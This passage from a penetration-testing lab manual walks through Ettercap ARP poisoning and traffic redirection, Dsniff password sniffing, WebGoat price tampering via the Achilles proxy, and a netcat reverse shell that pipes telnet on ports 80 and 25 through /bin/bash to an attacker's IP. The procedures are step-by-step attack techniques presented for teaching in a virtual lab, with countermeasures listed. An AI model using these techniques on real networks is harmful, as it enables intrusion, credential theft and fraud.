First, ensure that the Linux machine can actually get to the Web site on the Windows 2000 server.



Back on the attacker's machine, select the Linux machine as the source computer.

off Windows 2000 Professional - VMware Workstation	-OX
File Edit View VM Team Windows Help	
🟠 Home " Windows 2000 Advanced Server " Red Hat Linux " Auditor 2100 🔐 Windows 2000 Professional 🗊 WHAX	≣ ∢ ▶ ×
My Documents Ethereal	
My Computer Celefication ettercap 0.6.b	
SOURCE: 172.16.1.59 00:0C:29:9C:0D:1C	
My Network 8 hosts in this LAN (172.16.1.58 : 255.255.255.0)	
Places 1) 172.16.1.58 1) 172.16.1.58 2) 172.16.1.37 2) 172.16.1.37	
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$	
5) 172.16.1.60 5) 172.16.1.60 Recycle Bin 6) 172.16.1.61 6) 172.16.1.61	
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	
Internet	
Explorer	
Your IP: 172.16.1.58 MAC: 00:0C:29:07:EE:54 Iface: dev0 Link: SWITCH Host: win2000s-v (172.16.1.59) : 00:0C:29:9C:0D:1C	
Shortcut to	
mstconsole	
3	
Z:Sniffer	
第Start ① ⑥ 章 ② 〕 圖 ettercap prompt - ett	8:58 PM

Select the Windows 2000 server as the destination machine.

🗐 Windows :	2000 Professional - VMware Workstation		_ 🗆 🗵
File Edit	View VM Team Windows Help		
A Home	Windows 2000 Advanced Server 🔹 Red Hat Linux 🗗 Auditor 2100 🔐 Windows 2000 Professional	S WHAX	ii ∢ ▶ ×
	ę.		
My Documents	Ethereal		
My Computer	ettercap prompt - ettercap ettercap Ø.6.b		
<u> </u>	SOURCE: 172.16.1.59 00:0C:29:9C:0D:1C		
	DEST : 172.16.1.60 00:00:29:D0:E9:06		
Places	1) 172.16.1.58 1) 172.16.1.58 2) 172.16.1.37 2) 172.16.1.38		
	3) 172.16.1.54 3) 172.16.1.54 4) 172.16.1.59 4) 172.16.1.59		
Recycle Bin	$\begin{array}{cccccccccccccccccccccccccccccccccccc$		
	$\begin{array}{cccccccccccccccccccccccccccccccccccc$		
Internet			
Explorer			
, co	Your IP: 172.16.1.58 MAC: 00:0C:29:07:EE:54 Iface: dev0 Link: SWITCH Host: win2000s-v (172.16.1.59) : 00:0C:29:9C:0D:1C		
Shortcut to	Host: w2kas (172.16.1.60) : 00:00:29:DC:E9:B6		
msrconsoie			
<u>5</u>			
ZxSniffer			
#Start	데 중 \$ C 때 ettercap prompt - ett	*##	8:59 PM
		0	

Begin the ARP poisoning by pressing the A key.

آي Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🚡 Home 🚯 Windows 2000 Advanced Server 🚯 Red Hat Linux 🗿 Auditor 2100 🚯 Windows 2000 Professional 🗿 WHAX	i
My Documents Ethereal	
My Computer	
SOURCE: 172.16.1.59 < Filter: OFF	
DEST : 172.16.1.60 < Active Dissector: ON	
My Network 8 hosts in this LAN (172.16.1.58 : 255.255.255.0)	
Places	
G	
Recycle Bin	
Internet Explorer	
Shortcut to	
5	
Zxoniner	
🔆 🕅 🗊 🖉 🖾 🖾 🖾 ettercap prompt - ett	8:59 PM

Bring up the Ettercap Filters screen by pressing the F key. In this example, we want to edit the traffic on the source computer. Press the W key.

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🚖 Home 🚯 Windows 2000 Advanced Server 🚯 Red Hat Linux 🚳 Auditor 2100 🔂 Windows 2000 Professional 🚯 WHAX 🛐	4 > x
My Documents Ethereal	
My Computer ettercap prompt - ettercap	
SOURCE: 172.16.1.59 < Filter: OFF	
DEST : 172.16.1.60 < Active Dissector: ON	
My Network Filters :-	
S] Filters on Source : OFF W] Edit filter chain	
D1 Filters on Dest : OFF E1 Edit filter chain	
Internet	
Explorer	
Shortaut to	
Instantsue	
a ²	
Zxonifer	
🐊 Start 🛛 🖉 🏟 🕄 🖉 🔤 🕮 ettercap prompt - ett	9:00 PM
	1 (I)

Initially there will be no Filters. Press the A key.



A blank Filters setup screen will be displayed. Press the Enter key.



The Filter parameters screen will be displayed.



Set the following parameters for the Filter:

- **Protocol:** Tcp
- **Source Port:** (leave blank)
- (Destination) Port: 80
- Search: lab81.com
- Action (Drop/Replace/Log): R
- **Replace:** www.cnn.com
- Goto if match: (leave blank)
- Goto if doesn't match: (leave blank)
- Press the **Enter** key.

폐 Windows 2000 Professional - VMware Workstation	- 🗆 ×
File Edit View VM Team Windows Help	
A Home 🍈 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Auditor 2100 🗃 Windows 2000 Professional 🗿 WHAX 🌆	1 → ×
My Documents Ethereal	
My Computer ettercap prompt - ettercap	
SOURCE: 172.16.1.59 (doppleganger - illithid (ARP Based) - ettercap	
My Network Fil Protocol (Tcp/Udp) : Tcp	
Dest Port: 80 Search : lab81 com	
Action (Drov/Replace/Log) : R	
Recycle Bin Replace : www.cnn.com	
Goto 11 match : Goto if doesn't match :	
Explorer	
Shart at to	
msfconsole	
<i>1</i> ,7	
ZxSnifer	
第start ① ② ② 章 ② ② ettercap prompt - ett	01 PM

The new Filter will now be displayed. Press the ${\boldsymbol{Q}}$ key.

o Windows 2000 Professional - YMware Workstation	- 🗆 🗵
File Edit View VM Team Windows Help	
🛆 Home 🕼 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Audior 2100 🔂 Windows 2000 Professional 🗿 WHAX 👘	∢
My Documents Ethereal	
My Computer ettercap prompt - ettercap	
SOURCE: 172.16.1.59	
DEST : 172.16.1.60 < Active Dissector: ON	
My Network Places 1> 0 / 0:80 T [lab81.com] R [www.cnn.co]	
Recycle Bin	
Internet	
Shortar to	
6	
a) a cuita	
ZXSnitter	
🖹 Start 🛛 🖉 🛱 🕲 🛛 🖾 ettercap prompt - ett 🕀 🖗 🖗	9:02 PM
	10 (I)

You will be asked: **Do you want to save the filters** (new filter) **chain?** Press the **y** key.

🗐 Windows 2000 Professional - YMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
A Home 🚯 Windows 2000 Advanced Server 🚯 Red Hat Linux 🚳 Auditor 2100 🚳 Windows 2000 Professional 🚳 WHAX	i
My Documents Ethereal	
My Computer 🖾 ettercap prompt - ettercap	
SOURCE: 172.16.1.59 < Pilter: OFF	
DEST : 172.16.1.60 (IRP Based) - ettercap	
My Network Filters : Places 1> 0 : 0:80 T [lab81.com] R [www.cnn.co]	
Recycle Bin Do you want to save the filters chain (y/n)?	
Explorer	
shorecut top msfconsole	
3	
Z/Sniffer	
Start 2 @ 5 C Mettercap prompt - ett	9:02 PM

The new Filter is not yet activated (notice the Filter still says $\mbox{OFF}\).$ Press the S key.

💽 Windows 2000 Professional - YMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🛆 Home 👔 Windows 2000 Advanced Server 📳 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHAX	🔚 (
<u> </u>	
My Documents Ethereal	
My Computer Mettercap prompt - ettercap	1
SOURCE: 172.16.1.59 <- Filter: OFF	
DEST : 172.16.1.60 < Active Dissector: ON	
My Network Filters :	
S] Filters on Source : OFF W] Edit filter chain	
D] Filters on Dest : OFF E] Edit filter chain	
Internet	
Explorer	
Your L	
Shortcut to	
mstconsole	
and the second s	
ZxSniffer	
🚯 Start 🔄 🖉 🛱 🕼 🔘 📓 ettercap prompt - ett	9:02 PM

Notice the Filter has now changed to $\mathbf{ON}.$ Press the \mathbf{Q} key to back up one screen.

폐 Windows 2000 Professional - YMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home 🚯 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Auditor 2100 🚮 Windows 2000 Professional 🗿 WHAX	≣ (
Mv Documents Ethereal	
My Computer ettercap prompt - ettercap	
SOURCE: 172.16.1.59 <	
DEST : 172.16.1.60 <	
MyNetwork Filters :	
Places 1)	
SI Filters on Source : ON WI Edit filter chain	
Recycle Bin D1 Filters on Dest : OFF E1 Edit filter chain	
Internet Explorer	
Shortcut to	
10 10	
ZxSnifer	
第Start 図 の 印 C Mettercap prompt - ett	9:02 PM

You will be back at the main Ettercap screen.



Now from the Linux machine every time the user attempts to go to the Windows 2000 server (lab81.com) he or she will be brought to **http://www.cnn.com** Web site.



*Note: Even though there is a newer version of Ettercap available, it tends to act somewhat "buggy" in the VMware environment. Another point I want to make is that making someone go to CNN instead of the Web site he or she wanted is more of a nuisance than anything else. The danger from this happens when the attacker has the user redirected to a mock Web site of the original and through scripts logs the users' activity, usernames, passwords, keystrokes, and so forth.

Lab 82: Password Capture

Capture Passwords Traversing the Network: Dsniff

Prerequisites: Libnet

Countermeasures: Encryption, strong security policy

Description: The Dsniff application is a powerful tool and can be somewhat confusing to use, especially for beginners. This lab will demonstrate just how easy it is to use to capture unencrypted passwords sent across the network.

Procedure: Set the parameters, execute, and review the results.

From the directory containing the Dsniff application type:

dsniff -i 1

- The -i option prepares to identify the interface for Dsniff to use.
- The **1** is the interface specified for the –i option.



The Dsniff application will begin sniffing the network for unencrypted passwords and display them on the screen. In this example the username was **mmouse** and the password was **MinniE**. Because the text **(pop)** is also displayed, we know that this user just checked his or her e-mail; now so can anyone else who uses this information.



*Note: Notice how easy it is to capture passwords with Dsniff. Keep in mind that this is not the only use for Dsniff and you will only be able to see traffic that your port on the switch allows. If you want to view all traffic on the switch, you will need to be plugged into the "see all" port of the switch or perform switch sniffing.

Lab 83: Data Manipulation

Manipulate the Live Data Stream: Achilles

Prerequisites: WebGoat, configure Web browser

- **Countermeasures:** Encrypt information within the URL, dynamic session IDs
- **Description:** Achilles is a tool designed for testing the security of Web applications. Achilles is a proxy server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP proxy will relay packets to and from a client browser and a Web server. Achilles will intercept an HTTP session's data in either direction and give the user the ability to alter the data before transmission. For example, during a normal HTTP SSL connection, a typical proxy will relay the session between the server and the client and allow the two end nodes to negotiate SSL.
- **Procedure:** Launch WebGoat, configure the Web browser, launch Achilles, and manipulate data in real time.

Double-click the **webgoat.exe** icon from the directory containing the WebGoat application.



WebGoat will initialize.

- *Note: WebGoat, written in Java, is a full J2EE Web application designed to teach Web application security. It can be installed on any platform with a Java virtual machine. Some of the current lessons are as follows:
 - Cross-site script
 - SQL injection
 - Hidden form field management
 - Parameter manipulation
 - Weak session cookies
 - Fail open authentication



Minimize the Tomcat screen. From the desktop, **right-click** the **Internet Explorer** icon. The **Internet Properties** screen will be displayed.

🗐 Windows 2000 Professional - ¥M	Iware Workstation	_ 🗆 🗵
File Edit View VM Team V	Windows Help	
] = 11 🕨 🧐 🖾 🕼		
A Home 🔐 Windows 2000 Advar	nced Server 🛛 🔐 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿	WHAX 🛐 4 🕨 🗙
My Documents Ethereal		
ny bocanonos Editoria		
My Computer	General Security Content Connections Programs Advanced	
ny computer	Home page	
65 C	You can change which page to use for your home page.	
My Network	Address: Today www.reporterentin	
Places	Use Current Use Default Use Blank	
1	Temporary Internet files	
Recycle Bin	Pages you view on the Internet are stored in a special folder for quick viewing later.	
	Delete Files Settions	
Internet	History	
Explorer	The History folder contains links to pages you've visited, for quick access to recently viewed pages.	
3	Days to keep pages in history: 20 🐳 Clear History	
Shortcut to		
msfconsole	Colors Fonts Languages Accessibility	
ja Ja		
ZxSniffer	OK Cancel Apply	
	Internared phared webs	10:28 PM

Click on the **Connections** tab.

👰 Windows 2000 Professional - VMw	ware Workstation	_ 🗆 🗵
File Edit View VM Team Wir	indows Help	
IIII 🕞 🕲 🕼 🕽		
A Home Mindows 2000 Advance	ed Server 🛛 🔐 Red Hat Linux 🛛 🗿 Auditor 2100 🛛 🚮 Windows 2000 Professional 👔 Wi	HAX 🔚 () 🗙
My Documents Ethereal		
	Internet Properties	
	General Security Content Connections Programs Advanced	
My Computer	Same Lise the Internet Connection Wizard to	
<u> </u>	connect your computer to the Internet.	
	Dial-up settings	
My Network Places	Add	
1	Remove	
S	Settings	
Recycle Bin		
	Never dial a connection Dial whenever a network connection is not present	
e	C Always dial my default connection	
Internet Evolution	Current None Set Default	
, @	Local Area Network (LAN) settings	
Shortcut to	LAN Settings	
mshconsole		
ja l		
ZxSniffer	OK Cancel Apply	
	:\Shared\Shared\AchillesE:\Shared\Shared\WebG] Tomcat	🗐 🚅 10:28 PM

Click the LAN Settings button.

🗐 Windows 2000 Professional - VM	ware Workstation		_ _ ×
File Edit View VM Team \	/indows Help		
A Home 🖬 Windows 2000 Advar	ced Server 🛛 🔐 Red Hat Linux 🗿 Auditor 2100	🗃 Windows 2000 Professional	₩HAX = 4 + ×
A (2)			
My Documents Ethereal			
parate and a second s	Internet Properties	? ×	
	Local Area Network (LAN) Settings	? ×	
My Computer	- Automatic configuration	1	
66	Automatic configuration may override manual settin use of manual settings, disable automatic configura	igs. To ensure the	
	Automatically detect settings		
My Network Places	Use automatic configuration script		
1.10005	Address		
3	Proxy server		
Recycle Bin	Use a proxy server		
0	Address: Port:	Advanced	
C.	Bypass proxy server for local addresses		
Internet Explorer			
	ОК	Cancel	
<u>,</u> 22			
shortcut to msfconsole		LAN Settings	
\$	L		
ZxSniffer	ОК Са	ancel Apply	
	1 -	1-	
🕂 Start 🛛 🗹 🍪 🗐 🖸 🗍	E:\Shared\Shared\AchillesE:\Shared\Shared\Web	oG Tomcat	🛛 🕀 🗐 🕮 10:28 PM

- Select **Use a proxy server**.
- In the **Address** field enter **127.0.0.1**.
- In the **Port** field enter **5000**.
- Click **OK**.

🗐 Windows 2000 Professional - VM	ware Workstation		_O×
File Edit View VM Team V	Vindows Help		
] = 11 🕞 🥝 🖄 🕼			
A Home 📊 Windows 2000 Advan	ced Server 📲 Red Hat Linux 📳 Auditor 2100	🚯 Windows 2000 Professional	whax 🚮 4 → 🗙
My Documents Ethereal			
	Internet Properties	? ×	
	Local Area Network (LAN) Settings	? ×	
My Computer	Automatic configuration	1	
65	Automatic configuration may override manual settin use of manual settings, disable automatic configura	ngs. To ensure the	
	Automatically detect settings		
My Network Places	Use automatic configuration script		
	Address		
ß	Proxy server		
Recycle Bin	☑ Use a proxy server		
0	Address: 127.0.0.1 Port: 5000	Advanced	
C	Bypass proxy server for local addresses		
Internet Explorer			
	ОК	Cancel	
<u>,</u> @			
Shortcut to msfconsole		LAN Settings	
\$			
ZxSoiffer	ок с.	ancel Apply	
EASTING .			
🗯 Start 🛛 🗹 🏈 🛱 🖉 🗍 🗖	E:\Shared\Shared\Achilles	oG 🕅 Tomcat	

You will be returned to the Internet Properties screen. Click OK.

🗐 Windows 2000 Professional - VMwai	e Workstation	_ 🗆 ×
File Edit View VM Team Wind	ows Help	
= II E Ö 🕼 🗱		
A Home 🛛 🔐 Windows 2000 Advanced	Server 🛛 🙀 Red Hat Linux 👔 Auditor 2100 🔐 Windows 2000 Professional	Te WHAX Te 4 → X
A (2)		
My Documents Ethereal		
In	ernet Properties ? X	
My Computer	adieral Security Content Connectors Programs Advanced	
	Use the Internet Connection Wizard to Setup	
	- Dialum settions	
My Network	Add	
Places	Perrova	
đ		
Recycle Bin		
	Never dial a connection	
e	C Always dial my default connection	
Internet Explorer	Current None Set Default	
,@	Local Area Network (LAN) settings	
Shortcut to mstronsole	LAN Settings	
6		
_ <u>_</u> 7 -	OK Carrel Carrie	
ZxShiffer		
∰Start 🗹 🖉 🗐 🔘 🖓 E:\\$	ihared\Shared\Achilles 🔄 E:\Shared\Shared\WebG 🕅 Tomcat	🔆 🖗 🚅 🛛 10:29 PM

Double-click on the **Achilles.exe** icon. The Achilles application will initiate.



Select the following options on the right of the application:

- Intercept mode ON
- Intercept Client Data
- Ignore .jpg/.gif



Select Log to File. Log to File

When **Log to File** is selected, you will be asked to name the file that the data will be saved to.

🛃 Windows 2000 Professional - YMware Workstation	_IO X
File Edit View VM Team Windows Help	
🚖 Home 👔 Windows 2000 Advanced Server 👔 Red Hitt Linux 🗿 Auditor 2100 🗿 Windows 2000 Professional	5 WHAX 5 4 > X
🔺 🙆	
My Documents Ethereal	
Achilles 0.27	
My Computer Save As 21 x	1
Pry Network	
History achilles_0_27	
3 Dibeay32.dl	
Recycle Bri Desktop III OpenSSL License	X
sample.pem	
My Documenta Sistery 32.dl	
Explorer terms	
Save	
Save as type: All Cancel	
Shortcut to My Nethnah P	_ <u>_</u>
Status: Stopped	
2xSnffer	
international in	🕄 🗐 🚅 10:31 PM

In this example, the file was named Lab83.txt. Click Save.



Your Achilles screen should look like the following.



Open Internet Explorer. (Because we have not started Achilles you will not be able to get to the Internet.) Adjust both screens equally on your desktop.



The **Start** button on Achilles. **I** The Achilles application will not start running. Notice that the status bar along the lower-left side of Achilles will let you know it is running.

Status: Running

In the address bar of Internet Explorer, enter the following address: http://localhost/WebGoat/attack/



Press **Enter**, and Achilles will list the data flowing through to the Tomcat application that is currently running on your virtual machine. Click the **Send** button in Achilles. **Send**



You will be presented with a login screen.

🧃 Windows 2000 Professional - YMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
A Home 👔 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Auditor 2100 🔂 Windows 2000 Professional 🗿 WHAX	a ► ×
🖉 res://E:\WINNT\system32\shdoclc.dll/dnserror.htm#h	_ 🗆 🗵
File Edit View Favorites Tools Help	About
j ← Back → → → ② 👔 🖓 @ Search ⓐ Favorites 🛛 🕨 📕 🖉 🗖 🗖	
Address Addres	-Intercept I
Cert File Etsbaredisbarediác	
The page cannot be displayed	
Server Timeout (sec) 3	I Ignore
The page you are looking for i:	
site might be experiencing tech	-
to adjust your proviser security:	
Site: locanost	
Please try the following: Realm WebGoat Application	
User Name	
Click the Click the Password	
If you typed the page a sure that it is spelled co Crue this presured is your presured by	
To check your connection	
tab, click Settings. The	
provided by your local a	
Internet service provider (ISP). If your Network Administrator has enabled it. Microsoft	
Windows can examine your network and automatically	
discover network connection settings. If you would like Windows to try and discover them,	
click @ Detect Network Settings	
Some sites require 128-bit connection security. Click the	-
Statue' Dunning	
Done My Computer	
Image: Start Image: Shared Image: Sh	10:34 PM

For the User Name and Password enter the word Guest. Click OK.

🗃 Windows 2000 Professional - VMware Workstation	
File Edit View VM Team Windows Help	
🛆 Home 🚡 Windows 2000 Advanced Server 🔓 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHAX 👫 4	×к
res://C:\WINNT\system32\shdoclc.dll/dnserror.htm#h	
File Edit View Favorites Tools Help	About
← Back - → - ② ② ③ ④ ③ Search ④ Favorites * ►■ ○ ᄃ ᄃ	
Address @ http://localhost/WebGoat/attack Address @ http://localhost/WebGoat/attack Address @ Links **	cept I
▲ Cert File E:\Shared\Shared\Ac	ercer
The page cannot be displayed	terce
Enter Network Password	nore
The page you are looking for is	
to adjust your browser setting: Please type your user name and password.	-
Site: localhost	
Please try the following: Realm WebGoat Application	
User Name guest	
Click the Refresh but Password	
If you typed the page a sure that it is spelled co Save the paceword in your paceword let	
To check your connectic and then alight Internet	
tab, click Settings. The	
provided by your local (
If your Network Administrator has enabled it, Microsoft	
Windows can examine your network and automatically discover network connection settings.	
If you would like Windows to try and discover them,	
Some sites require 128-bit connection security. Click the require 128-bit connection security.	
Haln many and than aliak that Internet Funlaway	7
Done My Computer Status: Running	
Start 図 @ 印 @ _=E:\Shared\] = C:\Shared\] 四 Tomcat 図 Achilles 0.27 約 res://C:\W () 日 : 10:3	I4 PM
	(D)

You will need to click the Send button again.





The **WebGoat** screen will be displayed in the Web browser.

The area of concern for this lab is under the **Unvalidated Parameters** section, specifically the **Hidden Field Tampering** area. Click on this area.

Unvalidated Parameters
- Hidden Field Tampering

You will need to click the **Send** button again.



WebGoat will now present you with a shopping cart where you are allowed to pay \$4,999.99 for a 46-inch High-Definition Television (HDTV).



Click the **Purchase** button. **Purchase** Within Achilles look for the line **QTY=1&Price=4999.99**.



I think that is a little too high for a new TV and since I only have a couple of dollars left from payday, I might as well spend it.

Within Achilles edit the **4999.99** to **1.99** and then click the **Send** button.



Notice in the Web browser that the sale has completed, with a total charge of **\$1.99**.



WebGoat keeps track of what areas you complete successfully by placing a small green rectangle with an asterisk in it for each area you have completed.



*Note: WebGoat is a good tool to use to familiarize yourself with several hacking techniques. One thing to remember about Achilles is that it carries its own SSL certificate. The reason this is important is that you can successfully conduct a man-in-the-middle (MTM) attack. Imagine how many sites use SSL (banks, companies, etc.) and expect it to be the "cure-all" answer for their security because the traffic is encrypted. Because Achilles uses its own SSL certificate, the client browser thinks it is talking directly to the target and the target thinks it is talking directly to the client's browser — the entire time the data is being read and/or manipulated at will.

Lab 84: Covert Reverse Telnet Session

Create a Reverse Telnet Session: Netcat

Prerequisites: None

- **Countermeasures:** Deny Telnet, Bastion computers, remove unneeded services
- **Description:** The netcat application is a valuable tool for an attacker. As such, when a target has been compromised, netcat is frequently installed and normally hidden on the target. This lab demonstrates how to use the netcat tool to set up a reverse Telnet session from a compromised target.
- **Procedure:** From the attacking computer two separate netcat shells are executed with one listening for port 25 connections and the other for port 80 connections. (Both of these ports are normally allowed through firewalls.) The target will execute a Telnet session to the attacker. As commands are typed into one session from the attacker, the output will be redirected through the target and back to the other session on the attacker's machine.

Start by identifying the attacker's IP address by typing **ipconfig** and pressing **Enter**.



Open two command prompt sessions on the attacker's machine. On the first netcat session start listening by typing:

nc -1 -n -v -p 80



Press **Enter** to make the netcat application begin listening for connections on port 80.



On the second netcat session start listening by typing:

nc -1 -n -v -p 25



Press **Enter** to make the netcat application begin listening for connections on port 25.



From the target machine type:

/usr/bin/telnet <attacker's ip> 80 | /bin/bash | /usr/bin/telnet <attacker's ip> 25



By pressing **Enter**, you are redirecting traffic between ports 80 and 25. These ports are chosen because most companies allow HTTP (80) and SMTP (25) through their firewalls.



From the attacker's machine, on the command prompt listening for port 80 traffic, begin typing commands as if you were sitting behind the keyboard of the target. In this example, I started out with a simple directory listing command of 1s - 1.



Once you press **Enter**, the command will execute and route through the target, and the output will be displayed on the second command shell listening on port 25.

🗐 Windows 2000 Professiona	l - VMware Workstation							_ 🗆 🗵
File Edit View VM Tea	am Windows Help							
			-					
👘 Red Hat Linux 🛛 🗗 Auditor	2100 Windows 2000 Pr	ofessia	nal 占	WHAX	👘 Red Hat Linux 8 Serv	er		< ▷ ×
C:\WINNT\System32\cm	l.exe - nc -l -n -y -p 80							
C:\Downloads\Netcat>	nc -1 -n -v -p 80							
connect to [172.16.1	.56] from (UNKNOWN)	[172.	.16.1.	2001 :	1036			
1s -1								
						-		
C:\WINNT\System32\cmd	i.exe - nc -l -n -v -p 25					<u> </u>		
lrwxrwxrwx 1 root	root	4 00	t 7	2004	$sh \rightarrow bash$	^		
-rwxr-xr-x 1 root	root 12 root 50	719 Ju		2002	sieep			
-rwxr-xr-x 1 root	root 36	728 Au	ıg 29	2002	stty			
-rwsr-xr-x 1 root	root 19	132 Au	1g 29	2002	su			
-rwxr-xr-x 1 root	root 150	252 Au	ig 23	2002	tar			
-rwxr-xr-x 1 root	root 365	132 Au	ng 8	2002	tcsh			
-rwxr-xr-x 1 root	root 25	232 Se 752 Ai	sp 2 μα 29	2002	touch			
-rwsr-xr-x 1 root	root 40	700 Ai	ig 30	2002	umount			
-rwxr-xr-x 1 root	root 12	280 Au	1g 29	2002	uname			
-rwxr-xr-x 1 root	root	120 St	ep 4	2002	unicode_starc			
-rwxr-xr-x 1 root	root 11	364 Se	ep 2	2002	unlink			
-rwxr-xr-x 1 root	root 26	344 Se	ep 4	2002	usleep			
1rwxrwxrwx 1 root	root	2 00	st 7	2004	view -> vi			
lrvxrvxrvx 1 root	root	8 00	et 7	2004	ypdomainname −>	hostname		
-rwxr-xr-x 3 root	root 63	488 Ju	un 23	2002	zcat			
	17							
🕂 Start 📝 🙆 🛱 🖉	C:\WINNT\System32\cm		C:\WIN	NT\Syst	em32\		*0.	10:40 PM
							2	

You can easily change to the **root** directory by typing **cd** /**root** and pressing **Enter**.

🗐 Windows 2000	Professional	- VMware Work	station								_ 🗆 ×
File Edit Viev	w VM Tea	n Windows H	elp								
	a 1 55				-						
	9 0	CA 19 E		20 E	<u>a</u>						
Red Hat Linux	auditor :	2100 🔒 Windo	ows 2000 Profes	sional	5	WHAX	Red H	lat Linux 8 Se	rver		< ▷ ×
	stem32\cmd	ехе - nc -l -n -v	-р 80						_ 🗆 ×	1	
C:\Downloads listening on connect to I ls -1 cd /root_	Netcat)r [any] 80 172.16.1	c -1 -n -v 56Ĵfrom (U	—р 80 INKNOWN> [1"	72.16	.1.2	2001 :	1036				
IN EN WINNES FOR	chores22) cread		0.25						·	1	
- C. (WINNEY SYS	1 woot	exe - nc -i -ii -v	26,230	0.0.00	20	2002	ottu				
-rwsr-xr-x	1 root	root	19132	Aug	29	2002	su		_	1	
-rwxr-xr-x	1 root	root	10552	Sep	2	2002	sync				
-rwxr-xr-x	1 root	root	150252	Aug	23	2002	tar				
-rwxr-xr-x	1 root	root	365432	Hug	8	2002	tcsh				
-rwxr-xr-x	1 root	root	26232	Sep	2	2002	touch				
-PUXP-XP-X	1 root	Poot	9752	Hug	29	2002	true			1	
-rwsr-xr-x	1 root	POOL	10000	nug 0ug	20	2002	unounc		-		
-PHYP-YP-Y	1 root	root	1426	Sen	4	2002	unicode	start			
-PUYP-YP-Y	1 root	root	57	Sen	4	2002	unicode	ston			
-PWXP-XP-X	1 root	root	11064	Sep	2	2002	unlink				
-ruxr-xr-x	1 root	root	26844	Sep	4	2002	usleep				
-rwxr-xr-x	1 root	root	451628	Aug	27	2002	vi				
1rwxrwxrwx	1 root	root	2	Oct	7	2004	view ->	vi vi			
1rwxrwxrwx	1 root	root	8	Oct	7	2004	ypdoma i	inname −>	hostname		
-rwxr-xr-x	3 root	root	63488	Jun	23	2002	zcat			1 _	
Start 🛛 🔀	ő \$ 0	C:\WINNT\S	ystem32\cmd	01 C:\	WINN	T\Syst	em32\			*89	10:40 PM
										D. r	

As no output is displayed after this command has been executed, rerun the directory listing by typing ls -l and pressing **Enter**.

Windows 2000 Professional	- VMware Workstation				_ 🗆 ×
File Edit View VM Tear	n Windows Help				
		M E			
🔐 Red Hat Linux 🛛 🗿 Auditor 3	100 📑 Windows 2000 Profe	ssional 🗄	WHAX 📑 Red Hat Linux 8 Server		< ▷ ×
C:\WINNT\System32\cmd	ехе - nc -l -n -v -р 80			- I ×	
C:\Downloads\Netcat>n	c - 1 - n - v - p 80				
connect to [172.16.1.	561 from (UNKNOWN) []	72.16.1.	2001 1036		
ls -1					
cd /root					
15 1					
				-	
C:\WINNT\System32\cmd	exe - nc -l -n -v -p 25				
-rwxr-xr-x 1 root	root 36728	Aug 29	2002 stty	A .	
-rwsr-xr-x 1 root	root 19132	Aug 29	2002 su		
-rwxr-xr-x 1 root	root 10552	Sep 2	2002 Sync 2002 ton		
-rwxr-xr-x 1 root	root 365432	Aug 8	2002 tcsh		
-rwxr-xr-x 1 root	root 26232	Sep 2	2002 touch		
-rwxr-xr-x 1 root	root 9752	Aug 29	2002 true		
-rwsr-xr-x 1 root	root 40700	1 Hug 30	2002 unount 2002 unomo		
-rwxr-xr-x 1 root	root 1426	Sep 4	2002 unicode start		
-rwxr-xr-x 1 root	root 5	Sep 4	2002 unicode_stop		
-rwxr-xr-x 1 root	root 11064	Sep 2	2002 unlink		
-rwxr-xr-x 1 root	root 26844	1 Sep 4	2002 usieep		
lryxryxrwx 1 root	root	Oct 7	2004 view -> vi		
lrwxrwxrwx 1 root	root 8	0ct 7	2004 ypdomainname -> ho	ostname	
	no.at (2400	Tup 22	2882 asat		
Puxr xr X 3 root	root 63488	- Jun 23	2002 2Cat		
				-	
	-	ama			-
Start 🖉 🍘 🖏 🔘	C:\WINNT\System32\cmd	C:/WIN	NT\System32\	(*@s	₿ 10:41 PM
				Q	

The directory listing of the root directory will now be displayed.

👩 Windows 2000 Professional	l - VMware Workstation					- 🗆 ×
File Edit View VM Tea	m Windows Help					
			1			
			3			
🚯 Red Hat Linux 🛛 🗗 Auditor	2100 🛛 🔒 Windows 2000 Prof	essional	SI WHAX	Red Hat Linux 8 Server		 <
C:\WINNT\System32\cmd	i.exe - nc -l -n -v -p 80	1.000			- O ×	
C:\Downloads\Netcat> listening on tanyl 8t observed to 172.16.1 ed /Poot ed /Poot ed tools_	nc –1 –n –v –p 80 9 551 From (UNIRNOWN) [172.16.	1.200]	1036	4	
	Lexe - nc -l -n -v -n 25					
-rw-rr 1 root	root 257	7 Oct	7 2004	anaconda-ks.cfg		
-rw-rr 1 666	games 384	0 Mar 2	0 1996	Change log		
drwxr-xr-x 2 root	root 102	4 Oct 1	2 2004	data		
drwx 3 root	root 102	4 UCT 2	9 09:38	Desktop		
	ruut 1162	9 Feb 1	7 1996	genewic h		
$-m_{\rm H}$	voot 358	0 Nou 1	2 2004	index nhn		
-pu-pp 1 poot	root 1815	1 Oct	7 2004	install.log		
-rw-rr 1 root	root 409	6 Oct	7 2004	install.log.syslog		
lrwxrwxrwx 1 root	root	7 Oct 1	5 2004	libl.a -> libfl.a		
drwxr-xr-x 2 root	root 102	4 Dec	8 23:00	libpcap-possiblymo	dified	
duungu-ug-ug 2t	mont (89	4 Mari	0 2004	Bb300		
urwar ar a 2 root	102	9 120	2 2004	nmase		
	root 6083	4 Man 2	0 1996	README		
drwxr-xr-x 2 root	Pont 102	4 Oct 1	2 2004	scrints		
-rwxr-xr-x 1 666	games 854	9 Nov	7 1995	stupidh		
drwxr-xr-x 37 root	root 204	8 Dec 2	20 20:45	tools		
drwxr-xr-x 2 root	root 102	4 Oct	9 2004	XProbe		
drwx 3 1001	1001 102	4 0ct	9 2004	xprobe-0.0.2		
drwxr-xr-x 8 999	wheel 102	4 Oct	9 2004	×probe2-0.2	-1	
111000		1				
